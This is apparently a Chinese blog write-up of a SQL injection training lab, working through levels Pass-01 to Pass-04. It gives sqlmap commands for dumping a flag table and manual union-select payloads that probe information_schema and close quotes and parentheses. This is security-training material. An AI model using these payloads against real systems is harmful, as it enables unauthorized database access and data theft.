sql 显错基础注入

所用方法

sqlmap跑,get请求

通过之前的经验,知道了数据库是error,表是error_flag

sqlmap.py -u "xxx.xxx.xx?id=" --colums -T 表名 -D 当前数据库名   查看列名及类型
sqlmap.py -u http://injectx1.lab.aqlab.cn:81/Pass-02/index.php?id=1 --column -T error_flag error

image-20210705171932446

sqlmap.py -u "xxx.xxx.xx?id="  --dump -C 列里面的内容的(多个用逗号分隔开) -T 表名 -D 当前数据库的database   查看列内容
sqlmap.py -u http://injectx1.lab.aqlab.cn:81/Pass-02/index.php?id=1 --dump -C Id,flag -T error_flag error

image-20210705173104033

尝试用穿山甲,但是我的毁了...23333

PASS1

image-20210704155259265

判断有无注入

and 1=1
and 1=2

没有闭合的要求,先通过order by 确定列数

http://injectx1.lab.aqlab.cn:81/Pass-01/index.php?id=1 order by 4

到4显示报错,然后确定有3列

判断显示位

http://injectx1.lab.aqlab.cn:81/Pass-01/index.php?id=1 and 1=2 union select 1,2,3

image-20210704155842786

查看数据库

http://injectx1.lab.aqlab.cn:81/Pass-01/index.php?id=1 and 1=2 union select 1,database(),3

error

查表名

http://injectx1.lab.aqlab.cn:81/Pass-01/index.php?id=1 and 1=2 union select 1,table_name,3 from information_schema.tables where table_schema='error'

发现error_flag

查列名

http://injectx1.lab.aqlab.cn:81/Pass-01/index.php?id=1 and 1=2 union select 1,2,column_name from information_schema.columns where table_schema='error' and table_name='error_flag'

发现列ld

查看列内容

http://injectx1.lab.aqlab.cn:81/Pass-01/index.php?id=1 and 1=2 union select 1,Id,flag from error_flag

emmm,error_flag里踩一下然后猜得

image-20210704165553901

PASS2

select from user where id='1'

先对前面的数字进行闭合,再对要构造的payload进行链接上的闭合

对id数字进行闭合,加一个单引号

然后对payload链接上加--+对后面的进行闭合

说明有3列

然后再判断回显几个

http://injectx1.lab.aqlab.cn:81/Pass-02/index.php?id=1' and 1=2 union select 1,2,3--+

发现2、3回显

image-20210705164243394

PASS3

对称闭合

http://injectx1.lab.aqlab.cn:81/Pass-03/index.php?id=1') order by 3--+

PASS4

http://injectx1.lab.aqlab.cn:81/Pass-04/index.php?id=1")  order by 3 --+

对称闭合

别人都在不停的努力,自己又怎么会停
原文地址:https://www.cnblogs.com/chenyouxiu/p/14973526.html